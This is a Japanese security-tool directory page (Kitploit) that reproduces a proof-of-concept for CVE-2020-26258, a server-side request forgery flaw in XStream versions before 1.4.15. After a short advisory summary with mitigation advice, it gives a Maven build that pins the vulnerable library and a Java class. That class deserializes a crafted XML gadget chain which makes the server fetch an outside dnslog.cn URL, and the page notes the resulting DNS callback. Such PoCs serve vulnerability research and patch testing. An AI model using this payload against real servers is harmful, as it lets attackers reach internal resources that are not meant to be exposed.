Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2020-26258 — CVE-2020-26258 && XStream SSRF | Kitploit
ツール/GitHubGitHub/al1ex/cve-2020-26258
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティ
GitHubal1ex/cve-2020-26258

CVE-2020-26258

CVE-2020-26258 && XStream SSRF

リポジトリを見る
25年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

説明

XStreamは、オブジェクトをXMLにシリアライズし、また戻すためのJavaライブラリです。バージョン1.4.15より前のXStreamでは、アンマーシャリング時にサーバーサイドリクエストフォージェリ(SSRF)の脆弱性が発動する可能性があります。

この脆弱性により、リモートの攻撃者は、処理された入力ストリームを操作するだけで、公開されていない内部リソースからデータを要求できる可能性があります。もしXStreamのセキュリティフレームワークのデフォルトブラックリストに依存している場合、少なくともバージョン1.4.15を使用する必要があります。報告された脆弱性は、Java 15以上を実行している場合には存在しません。ホワイトリストを使用してXStreamのセキュリティフレームワークを設定する推奨事項に従ったユーザーは影響を受けません。XStreamのデフォルトブラックリストに依存しているユーザーは、脆弱性を回避するために許可されたタイプのホワイトリストに直ちに切り替えることができます。XStream 1.4.14以下を使用していて、依然としてXStreamのデフォルトブラックリストを使用したいユーザーは、参照されたアドバイザリに詳しく記載されている回避策を使用できます。

環境

pom.xml

root@kitploit:~
<?xml version="1.0" encoding="UTF-8"?>

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>

  <groupId>CVE-2020-26258</groupId>
  <artifactId>CVE-2020-26258</artifactId>
  <version>1.0-SNAPSHOT</version>

  <name>CVE-2020-26258</name>
  <!-- FIXME change it to the project's website -->
  <url>http://www.example.com</url>

  <properties>
    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    <maven.compiler.source>1.7</maven.compiler.source>
    <maven.compiler.target>1.7</maven.compiler.target>
  </properties>

  <dependencies>
    <dependency>
      <groupId>junit</groupId>
      <artifactId>junit</artifactId>
      <version>4.11</version>
      <scope>test</scope>
    </dependency>
      <!-- https://mvnrepository.com/artifact/com.thoughtworks.xstream/xstream -->
      <dependency>
          <groupId>com.thoughtworks.xstream</groupId>
              <artifactId>xstream</artifactId>
          <version>1.4.14</version>
      </dependency>
  </dependencies>
  <build>
    <pluginManagement><!-- lock down plugins versions to avoid using Maven defaults (may be moved to parent pom) -->
      <plugins>
        <!-- clean lifecycle, see https://maven.apache.org/ref/current/maven-core/lifecycles.html#clean_Lifecycle -->
        <plugin>
          <artifactId>maven-clean-plugin</artifactId>
          <version>3.1.0</version>
        </plugin>
        <!-- default lifecycle, jar packaging: see https://maven.apache.org/ref/current/maven-core/default-bindings.html#Plugin_bindings_for_jar_packaging -->
        <plugin>
          <artifactId>maven-resources-plugin</artifactId>
          <version>3.0.2</version>
        </plugin>
        <plugin>
          <artifactId>maven-compiler-plugin</artifactId>
          <version>3.8.0</version>
        </plugin>
        <plugin>
          <artifactId>maven-surefire-plugin</artifactId>
          <version>2.22.1</version>
        </plugin>
        <plugin>
          <artifactId>maven-jar-plugin</artifactId>
          <version>3.0.2</version>
        </plugin>
        <plugin>
          <artifactId>maven-install-plugin</artifactId>
          <version>2.5.2</version>
        </plugin>
        <plugin>
          <artifactId>maven-deploy-plugin</artifactId>
          <version>2.8.2</version>
        </plugin>
        <!-- site lifecycle, see https://maven.apache.org/ref/current/maven-core/lifecycles.html#site_Lifecycle -->
        <plugin>
          <artifactId>maven-site-plugin</artifactId>
          <version>3.7.1</version>
        </plugin>
        <plugin>
          <artifactId>maven-project-info-reports-plugin</artifactId>
          <version>3.0.0</version>
        </plugin>
      </plugins>
    </pluginManagement>
  </build>
</project>

SSRFの方法

CVE_2020_26258.java

root@kitploit:~
import com.thoughtworks.xstream.XStream;

public class CVE_2020_26258 {
    public static void main(String[] args) {
        String ssrf_xml = "<map>\n" +
                "  <entry>\n" +
                "    <jdk.nashorn.internal.objects.NativeString>\n" +
                "      <flags>0</flags>\n" +
                "      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +
                "        <dataHandler>\n" +
                "          <dataSource class='javax.activation.URLDataSource'>\n" +
                "            <url>http://02l6ew.dnslog.cn/:</url>\n" +
                "          </dataSource>\n" +
                "          <transferFlavors/>\n" +
                "        </dataHandler>\n" +
                "        <dataLen>0</dataLen>\n" +
                "      </value>\n" +
                "    </jdk.nashorn.internal.objects.NativeString>\n" +
                "    <string>test</string>\n" +
                "  </entry>\n" +
                "</map>";
        
        XStream xstream = new XStream();
        xstream.fromXML(ssrf_xml);
    }
}

結果:

Dnslog:

dnslog

参照

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-26258

ツールをダウンロード